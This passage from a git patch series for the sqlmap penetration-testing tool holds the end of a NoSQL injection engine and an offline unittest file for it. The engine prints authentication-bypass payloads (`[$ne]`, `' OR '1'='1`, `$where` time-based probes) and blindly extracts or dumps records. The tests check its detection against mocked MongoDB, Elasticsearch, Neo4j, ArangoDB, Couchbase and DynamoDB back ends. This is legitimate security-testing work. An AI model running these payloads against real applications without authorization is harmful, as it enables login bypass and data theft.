conf.testParameter and not any(_ in conf.testParameter for _ in (key, parameter)): + continue + + tested += 1 + infoMsg = "testing NoSQL injection on %s parameter '%s'" % (place, key) + logger.info(infoMsg) + + vector = _resolve(place, parameter, key) + if not vector: + continue + + found += 1 + infoMsg = "%s parameter '%s' is vulnerable to NoSQL injection (back-end: '%s')" % (place, key, vector.dbms) + logger.info(infoMsg) + + # standard sqlmap-style injection-point summary (reproducible vector) + if vector.bypass == '{"$ne": null}': + title, payload = "operator injection", "%s[$ne]=%s" % (key, NOSQL_SENTINEL) + elif vector.bypass == '*': + title, payload = "Lucene query_string injection", "%s=*" % key + elif vector.bypass: + context = "numeric" if vector.bypass[:1].isdigit() else "string" + title, payload = "boolean-based blind (%s)" % context, "%s=%s" % (key, vector.bypass) + elif vector.dump is not None: + title, payload = "time-based blind (server-side JavaScript $where)", "%s=' || (sleep loop) || '" % key + else: + title, payload = "error-based", "%s=%s'" % (key, _originalValue(place, parameter) or "1") + report = "---\nParameter: %s (%s)\n Type: NoSQL injection\n Title: %s %s\n Payload: %s\n---" % (key, place, vector.dbms, title, payload) + conf.dumper.singleString(report) + + if vector.bypass: + infoMsg = "%s parameter '%s' can be coerced always-true with '%s' (e.g. authentication/filter bypass)" % (place, key, vector.bypass) + logger.info(infoMsg) + + dumped = False + + # a named whole-document dump is preferred over the unnamed in-band table + if vector.dump is not None: + infoMsg = "retrieving the reachable document(s)" + logger.info(infoMsg) + records = vector.dump() + if records: + columns, rows = records + infoMsg = "dumped %d record%s (%d field%s)" % (len(rows), 's' if len(rows) != 1 else '', len(columns), 's' if len(columns) != 1 else '') + logger.info(infoMsg) + conf.dumper.singleString("NoSQL: %s parameter '%s' %s:\n%s" % (place, key, "documents" if len(rows) != 1 else "document", _grid(columns, rows))) + dumped = True + + if not dumped and vector.template is not None: + exposure = _inband(place, parameter, vector.template) + if exposure: + infoMsg = "the always-true payload returns additional records (in-band data exposure)" + logger.info(infoMsg) + _dumpInband(place, key, exposure) + dumped = True + + if vector.lengthValue is not None: + value = _extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth) + if value is not None: + conf.dumper.singleString("NoSQL: %s parameter '%s' -> %s" % (place, key, repr(value))) + dumped = True + + if not dumped: + if vector.template is None and vector.truth is None and vector.dump is None: + warnMsg = "injection is detection-only for back-end '%s' (no extraction oracle for this engine)" % vector.dbms + else: + warnMsg = "injection on '%s' is confirmed but yielded no data here: this point exposes only a boolean oracle on a non-extractable (e.g. numeric) field. Target a string-compared parameter (e.g. a login/search field) to blindly read a value" % key + logger.warning(warnMsg) + + if not found: + warnMsg = "no parameter appears to be injectable via NoSQL injection (%d tested)" % tested + logger.warning(warnMsg) diff --git a/tests/test_nosql.py b/tests/test_nosql.py new file mode 100644 index 000000000..3703471f8 --- /dev/null +++ b/tests/test_nosql.py @@ -0,0 +1,650 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the NoSQL injection engine. Mock oracles stand in for the +HTTP/back-end layer so detection and blind extraction can be exercised without a live target, +covering each dialect: MongoDB/CouchDB operator injection, Elasticsearch/Solr query_string, +Neo4j Cypher and ArangoDB AQL string break-out. +""" + +import re +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.nosql.inject as ni + +SECRET = "S3cr3t_9" +MATCH = "Welcome user; rows: alpha, bravo, charlie" +NOMATCH = "Invalid credentials; no rows" + + +def _mongo(place, parameter, op, value, isArray=False): + if op == "$ne": + return MATCH + if op == "$in": + return NOMATCH + if op == "$regex": + try: + return MATCH if re.match(value, SECRET) is not None else NOMATCH + except re.error: + return "error: invalid regular expression" + return "" + + +def _es(place, parameter, value): + if value == "*": + return MATCH + if value == ni.NOSQL_SENTINEL: + return NOMATCH + if value.startswith("/") and value.endswith("/"): # Lucene regexp is full-anchored + try: + return MATCH if re.match("^(?:%s)$" % value[1:-1], SECRET) is not None else NOMATCH + except re.error: + return "error: parse_exception" + return NOMATCH + + +class TestNoSqlMongo(unittest.TestCase): + def setUp(self): + self._orig = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._orig + + def test_detect(self): + self.assertTrue(ni._detectMongo("GET", "password")) + + def test_extract(self): + template = ni._fetch("GET", "password", "$ne", ni.NOSQL_SENTINEL) + value = ni._extract(template, + lambda v: ni._fetch("GET", "password", "$regex", v), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^" + re.escape(known) + klass) + self.assertEqual(value, SECRET) + + def test_not_injectable(self): + ni._fetch = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectMongo("GET", "password")) + + +class TestNoSqlElasticsearch(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _es + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectES("GET", "q")) + + def test_extract(self): + template = ni._fetchValue("GET", "q", "*") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "q", v), + lambda n: "/.{%d,}/" % n, + lambda known, klass: "/%s%s.*/" % (ni._lucene(known), klass)) + self.assertEqual(value, SECRET) + + def test_not_injectable(self): + ni._fetchValue = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectES("GET", "q")) + + +def _cypher(place, parameter, value): + if "'1'='1" in value: + return MATCH + if "'1'='2" in value: + return NOMATCH + m = re.search(r"=~ '\^(.*)$", value) # the regex body after the =~ operator + if m: + try: + return MATCH if re.match("^(?:%s)$" % m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + return NOMATCH + + +class TestNoSqlCypher(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _cypher + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectCypher("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' OR '1'='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' OR u.password =~ '^.{%d,}" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' OR u.password =~ '^%s%s.*" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _aql(place, parameter, value): + m = re.search(r"=~ '(\^[^']*)'", value) # the regex body inside =~ '...' + if m: + try: # ArangoDB =~ is a partial (unanchored) match + return MATCH if re.search(m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "'1'=='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlArango(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _aql + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectAQL("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' || '1'=='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' || (u.password =~ '^.{%d,}') || '1'=='2" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' || (u.password =~ '^%s%s') || '1'=='2" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _n1ql(place, parameter, value): + m = re.search(r"REGEXP_CONTAINS\([^,]+, '([^']*)'\)", value) + if m: + try: # model the single-quoted string layer (collapse the doubled backslashes) + return MATCH if re.search(m.group(1).replace("\\\\", "\\"), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "=~" in value: # N1QL has no =~ operator -> engine error + return "error: syntax error near '=~'" + if "'1'='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlN1QL(unittest.TestCase): + """Couchbase N1QL shares the ' OR '1'='1 break-out with Neo4j; _resolve() must disambiguate by the + regexp-match primitive (=~ fails, REGEXP_CONTAINS works) and still extract""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" # keep MongoDB operator detection out of the way + ni._fetchValue = _n1ql + ni.conf.parameters = {"GET": "name=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_disambiguates_couchbase(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "Couchbase") + self.assertEqual(vector.bypass, "' OR '1'='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +def _whereTruth(payload): + # emulate the $where timing oracle: a payload "delays" (=> True) iff its embedded JS condition holds + m = re.search(r"length>=(\d+)", payload) + if m: + return len(SECRET) >= int(m.group(1)) + m = re.search(r"/\^([^/]*)/\.test", payload) + if m: + return re.search("^" + m.group(1), SECRET) is not None + return False + + +class TestNoSqlWhere(unittest.TestCase): + """MongoDB $where time-based: validates the server-side-JS payload shapes and the time-based + extraction loop (timing predicate emulated deterministically)""" + + def setUp(self): + ni.conf.timeSec = 5 + + def test_extract(self): + key = "password" + lengthValue = lambda n: ni._whereDelay("d.%s&&d.%s.length>=%d" % (key, key, n)) + charValue = lambda known, klass: ni._whereDelay("d.%s&&/^%s%s/.test(d.%s)" % (key, ni._javaEscape(known), klass, key)) + self.assertEqual(ni._extract(None, None, lengthValue, charValue, _whereTruth), SECRET) + + +def _jswhere(place, parameter, value): + # emulate a content-bearing MongoDB $where (server-side JavaScript) endpoint + if " OR " in value or " =~ " in value: # not valid JS -> consistent (non-diverging) error + return "" + m = re.search(r"/(.)/\.test\('x'\)", value) # JS regexp-test disambiguation probe + if m: + return MATCH if re.search(m.group(1), "x") is not None else NOMATCH + m = re.search(r"/\^([^/]*)/\.test\(this\.password\)", value) # value extraction + if m: + try: + return MATCH if re.search("^" + m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + m = re.search(r"length>=(\d+)", value) # length search + if m: + return MATCH if len(SECRET) >= int(m.group(1)) else NOMATCH + if "'1'=='1" in value or "this.password)" in value: # boolean detection / bound always-true template + return MATCH + return NOMATCH + + +class TestNoSqlWhereContent(unittest.TestCase): + """Content-bearing MongoDB $where shares the ' || '1'=='1 break-out with ArangoDB; _resolve() must + disambiguate (AQL '=~' fails, a JS /re/.test() holds) and extract via the content oracle""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _jswhere + ni.conf.parameters = {"GET": "username=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_where_content(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB ($where)") + self.assertEqual(vector.bypass, "' || '1'=='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +class TestNoSqlWhereDump(unittest.TestCase): + """$where whole-document dump: Object.keys(this) enumeration drives name + value recovery for every + field (per-field char recovery itself is covered by TestNoSqlWhere)""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._orig = ni._whereField + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, bound, expr, threshold): + m = re.search(r"Object\.keys\(d\)\[(\d+)\]", expr) + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"d\['([^']*)'\]", expr) + if m: + return values.get(m.group(1)) + return None + + ni._whereField = fake + + def tearDown(self): + ni._whereField = self._orig + + def test_dump(self): + columns, rows = ni._whereDump("GET", "password", "", 0) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + + def test_empty_document(self): + ni._whereField = lambda *args, **kwargs: None + self.assertIsNone(ni._whereDump("GET", "password", "", 0)) + + +class TestNoSqlEnumDump(unittest.TestCase): + """Content-based whole-document dump (e.g. Neo4j keys(u)): enumerate field names then values""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._ef, self._fv = ni._enumField, ni._fetchValue + ni._fetchValue = lambda *args, **kwargs: "Welcome" # non-error single-record template + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, template, payloadFor): + probe = payloadFor("X") # render to inspect the target expression + m = re.search(r"\(u\)\[(\d+)\]", probe) # keys/ATTRIBUTES/OBJECT_NAMES(u)[i] + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"u\['([^']*)'\]", probe) # toString/TO_STRING/TOSTRING(u['name']) + if m: + return values.get(m.group(1)) + return None + + ni._enumField = fake + + def tearDown(self): + ni._enumField, ni._fetchValue = self._ef, self._fv + + def _check(self, keysExpr, valueExpr): + makePayload = lambda expr, rb: "X' OR %s =~ '^%s.*" % (expr, rb) + columns, rows = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + + def test_cypher(self): + self._check(lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % ni._propLiteral(n)) + + def test_aql(self): + self._check(lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % ni._propLiteral(n)) + + def test_n1ql(self): + self._check(lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % ni._propLiteral(n)) + + +class TestNoSqlBypass(unittest.TestCase): + """Confirmed injection must surface the always-true (authentication/filter bypass) payload""" + + def setUp(self): + self._f = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._f + + def test_mongo_bypass(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB") + self.assertEqual(vector.bypass, '{"$ne": null}') + + +class TestNoSqlInband(unittest.TestCase): + """In-band exposure gate: _inband() returns the always-true response only when it carries + materially more reflected content than the original request""" + + def setUp(self): + self._fv = ni._fetchValue + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_exposure_detected(self): + ni._fetchValue = lambda place, parameter, value: "
1luther
" # original (one row) + template = "
1luther
2fluffy
3wu
" + self.assertEqual(ni._inband("GET", "id", template), template) + + def test_no_exposure_when_not_larger(self): + ni._fetchValue = lambda place, parameter, value: "X" * 200 # original (large) + self.assertIsNone(ni._inband("GET", "id", "Welcome")) # always-true smaller -> no dump + + +class TestNoSqlRecords(unittest.TestCase): + """Reflected responses are parsed into (columns, rows) for a regular table dump""" + + def test_html_table_without_header(self): + page = ("Results:" + "" + "
1lutherblisset
2fluffybunny
") + columns, rows = ni._records(page) + self.assertEqual(columns, ["column_1", "column_2", "column_3"]) + self.assertEqual(rows, [["1", "luther", "blisset"], ["2", "fluffy", "bunny"]]) + + def test_html_table_with_header(self): + page = "
iduser
1luther
" + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "user"]) + self.assertEqual(rows, [["1", "luther"]]) + + def test_json_array_of_objects(self): + page = '{"results": [{"id": 1, "username": "luther", "password": null}, {"id": 2, "username": "fluffy"}]}' + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "username", "password"]) + self.assertEqual(rows, [["1", "luther", "NULL"], ["2", "fluffy", ""]]) + + def test_unstructured_returns_none(self): + self.assertIsNone(ni._records("just some prose, no records here")) + + +def _numeric(place, parameter, value): + # numeric-context oracle: 'OR 1=1' is always-true (rows), 'AND 1=2' is false (no rows) + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumeric(unittest.TestCase): + """Numeric-context (unquoted) break-out, e.g. 'WHERE id = ': detected via OR/AND, with the + always-true response carried as the in-band dump template""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numeric + ni.conf.parameters = {"GET": "id=1"} + ni.conf.paramDict = {"GET": {"id": "1"}} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric(self): + vector = ni._resolve("GET", "id", "id") + self.assertEqual(vector.dbms, "Neo4j") + self.assertEqual(vector.bypass, "1 OR 1=1") + self.assertIsNone(vector.lengthValue) # numeric field -> in-band only, no blind extraction + + def test_skips_non_numeric(self): + ni.conf.parameters = {"GET": "name=luther"} + self.assertIsNone(ni._detectNumeric("GET", "name")) # only applies to a numeric field value + + +def _numericN1ql(place, parameter, value): + # numeric-context Couchbase: OR/AND boolean plus the N1QL-only REGEXP_CONTAINS discriminator + m = re.search(r"REGEXP_CONTAINS\('ab', '([^']*)'\)", value) + if m: + return MATCH if re.search(m.group(1), "ab") is not None else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericN1QL(unittest.TestCase): + """A numeric Couchbase point is disambiguated from Neo4j by the N1QL-only REGEXP_CONTAINS probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericN1ql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_couchbase(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "Couchbase") + self.assertEqual(bypass, "1 OR 1=1") + + +def _numericAql(place, parameter, value): + # numeric-context ArangoDB: only the ||/&& family diverges (OR/AND and REGEXP_CONTAINS do not) + return MATCH if "|| 1==1" in value else NOMATCH + + +class TestNoSqlNumericAQL(unittest.TestCase): + """A numeric ArangoDB point is detected via the ||/&& family once OR/AND yields no divergence""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericAql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_arango(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "ArangoDB") + self.assertEqual(bypass, "1 || 1==1") + + +def _partiql(place, parameter, value): + # DynamoDB PartiQL string-context oracle: 'field >= prefix' matches the bound record iff + # SECRET >= prefix (ordered comparison, the basis of the comparison-bisection extraction); + # 'begins_with(field, prefix)' matches iff SECRET starts with prefix + m = re.search(r">= '(.*)$", value) + if m: + return MATCH if SECRET >= m.group(1).replace("''", "'") else NOMATCH + m = re.search(r"begins_with\([^,]+, '(.*?)'\) OR '1'='2", value) + if m: + return MATCH if SECRET.startswith(m.group(1)) else NOMATCH + return NOMATCH + + +class TestNoSqlPartiQL(unittest.TestCase): + """DynamoDB PartiQL: no regexp engine, so a value is recovered by ordered string comparison + (field >= 'prefix') bisected over the printable-ASCII range""" + + def setUp(self): + self._fv = ni._fetchValue + ni._fetchValue = _partiql + ni.conf.parameters = {"GET": "username=luther&password=x"} + ni.conf.paramDict = {"GET": {"password": "x"}} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_extract(self): + value = ni._partiqlValue("GET", "password", "", "password") + self.assertEqual(value, SECRET) + + def test_dump_binds_sibling(self): + columns, rows = ni._partiqlDump("GET", "password", "password") + self.assertEqual(columns, ["password"]) + self.assertEqual(rows, [[SECRET]]) + + def test_dump_without_sibling_returns_none(self): + ni.conf.parameters = {"GET": "password=x"} # no sibling to pin a single record + ni.conf.paramDict = {"GET": {"password": "x"}} + self.assertIsNone(ni._partiqlDump("GET", "password", "password")) + + +def _numericDdb(place, parameter, value): + # numeric-context DynamoDB: OR/AND boolean plus the PartiQL-only begins_with discriminator + m = re.search(r"begins_with\('ab', '([^']*)'\)", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericDynamoDB(unittest.TestCase): + """A numeric DynamoDB point is disambiguated from Neo4j/Couchbase by the PartiQL-only begins_with probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericDdb + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_dynamodb(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "DynamoDB") + self.assertEqual(bypass, "1 OR 1=1") + + +class TestNoSqlCookiePlace(unittest.TestCase): + """Cookie place: parameters split/join on ';' (not '&') and the segment routes to the Cookie header""" + + def setUp(self): + ni.conf.cookieDel = None + ni.conf.parameters = {ni.PLACE.COOKIE: "session=abc; username=luther; password=x"} + ni.conf.paramDict = {ni.PLACE.COOKIE: {"password": "x"}} + + def test_delimiter(self): + self.assertEqual(ni._delim(ni.PLACE.COOKIE), ";") + self.assertEqual(ni._delim(ni.PLACE.GET), "&") + + def test_original_value(self): + self.assertEqual(ni._originalValue(ni.PLACE.COOKIE, "username").strip(), "luther") + + def test_replace_segment(self): + out = ni._replaceSegment(ni.PLACE.COOKIE, "password", "password[$ne]=zzz") + self.assertIn("session=abc", out) + self.assertIn("username=luther", out) + self.assertIn("password[$ne]=zzz", out) + self.assertEqual(out.count(";"), 2) # 3 segments -> 2 delimiters (no '&') + self.assertNotIn("&", out) + + def test_constraint_binds_siblings(self): + constraint = ni._constraint(ni.PLACE.COOKIE, "password") + self.assertIn("u.session='abc'", constraint) + self.assertIn("u.username='luther'", constraint) + + +class TestNoSqlErrorRegex(unittest.TestCase): + """The heuristic regex must match real back-end error structures, not bare product names (so an + article merely mentioning MongoDB/Elasticsearch/Cassandra is never flagged as injectable)""" + + from lib.core.settings import NOSQL_ERROR_REGEX + + POSITIVES = ( + 'MongoServerError: unknown operator: $foo', + '{"ok":0,"errmsg":"unknown top level operator: $where","code":2,"codeName":"BadValue"}', + 'MongoServerError: Regular expression is invalid: missing )', + 'CastError: Cast to ObjectId failed', + '{"error":"query_parse_error","reason":"Invalid operator: $foo"}', + '{"error":{"root_cause":[{"type":"query_shard_exception","reason":"Failed to parse query [luther\']"}]},"status":400}', + '{"type":"x_content_parse_exception","reason":"[1:18] [bool] failed to parse"}', + '{"error":{"msg":"org.apache.solr.search.SyntaxError: Cannot parse \'username:\'","code":400}}', + "Neo.ClientError.Statement.SyntaxError: Invalid input", + 'Neo4j error: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 30) "MATCH (u:User) WHERE u.id = 1"', + "Neo4j error: Invalid input ''x'': expected an expression, 'FOREACH', 'MATCH', 'MERGE', 'UNWIND', 'WITH' or ", + '{"error":true,"errorNum":1501,"errorMessage":"AQL: syntax error, unexpected quoted string"}', + "ResponseError: line 1:38 no viable alternative at input", + "SyntaxException: line 1:42 mismatched input ''' expecting EOF", + '{"error":{"root_cause":[{"type":"number_format_exception","reason":"For input string"}]},"status":400}', + 'ReplyError: WRONGTYPE Operation against a key holding the wrong kind of value', + 'ReplyError: ERR Error compiling script (new function): user_script:1: unexpected symbol', + 'CLIENT_ERROR bad command line format', + 'error parsing query: found WHERE, expected identifier at line 1', + 'org.apache.phoenix.exception.PhoenixIOException: failed', + ) + + NEGATIVES = ( + "This article explains how MongoDB, CouchDB and Elasticsearch handle queries.", + "Cassandra and Redis are popular NoSQL databases; Neo4j is a graph database.", + "We migrated from Solr to OpenSearch last year. ArangoDB is multi-model.", + "Results:
1luther
", + "Invalid credentials", + ) + + def test_matches_real_errors(self): + for sample in self.POSITIVES: + self.assertIsNotNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should match: %s" % sample) + + def test_ignores_benign_text(self): + for sample in self.NEGATIVES: + self.assertIsNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should NOT match: %s" % sample) + + +if __name__ == "__main__": + unittest.main() + From f6912fc921cd310bd259bba1df8d8d134a702bfd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 27 Jun 2026 19:23:30 +0200 Subject: [PATCH 066/165] Adding support for GraphQL (--graphql) --- data/txt/sha256sums.txt | 17 +- extra/vulnserver/vulnserver.py | 255 ++++++ lib/controller/checks.py | 8 + lib/controller/controller.py | 13 + lib/core/optiondict.py | 1 + lib/core/settings.py | 64 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/graphql/__init__.py | 8 + lib/techniques/graphql/inject.py | 1165 ++++++++++++++++++++++++++++ tests/test_graphql.py | 680 ++++++++++++++++ 11 files changed, 2207 insertions(+), 8 deletions(-) create mode 100644 lib/techniques/graphql/__init__.py create mode 100644 lib/techniques/graphql/inject.py create mode 100644 tests/test_graphql.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index eecb2bff2..c27f6cf1b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,10 +160,10 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -43214ecb0101bce72eb243c91b90db34693ebfd485d6c111a4ae22591ff7800b extra/vulnserver/vulnserver.py +faaaa586baa4df245b8780a1a808ebf07e3027ce4245ded3274d908c49e1eecd extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -0c6433b289094d37f295238699042a34a6ab950bb3d11f74fe9a83d30bb7f4bd lib/controller/checks.py -ea0fdf6bcda59aae4d093bada965654a0cd940227c2dbdf62b6ded79baa8dfad lib/controller/controller.py +284b5b056f048e5951c43605965f6758cb9cefa54ca30d818b2c1d1c6713fb91 lib/controller/checks.py +b1e89bff221cc907f5033bae941bf7929de9490f5dcdf2747cba676acd2da95b lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py @@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -056930fba3cf9827f97d280bc38ac785c93108eb84c922f5f39723bb04dcf403 lib/core/optiondict.py +1b03686e1aa916ccad3cd86b8e4e6ea4baca5e30e05bf86a56f8df8dd4f44ba6 lib/core/optiondict.py 4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,18 +189,18 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ca14e55b4d49a9b9f4e547180828030e4fcc51176dc9036879dbdae05919dd02 lib/core/settings.py +7032c06dba29cfc35330e022823b778aa87849d5e92a33f4daff2a364d0c9ecd lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -e453904a50372216b09146ad9f11cdced2323c10f49c3d866238cc044dcb2cce lib/core/testing.py +b63a8c4caed56796010e9b438ae6b4c398d4c4ed48d74b0a1a270302e0ce87ca lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -223badcfd102cdf3313411b63d09b6c59599d58dfc40d27409b1bfa2efc1aa8f lib/parse/cmdline.py +c515041ee2d50aded9afa371de47c3c44c81b30546fb1f6f170b2169ae5e64b4 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py 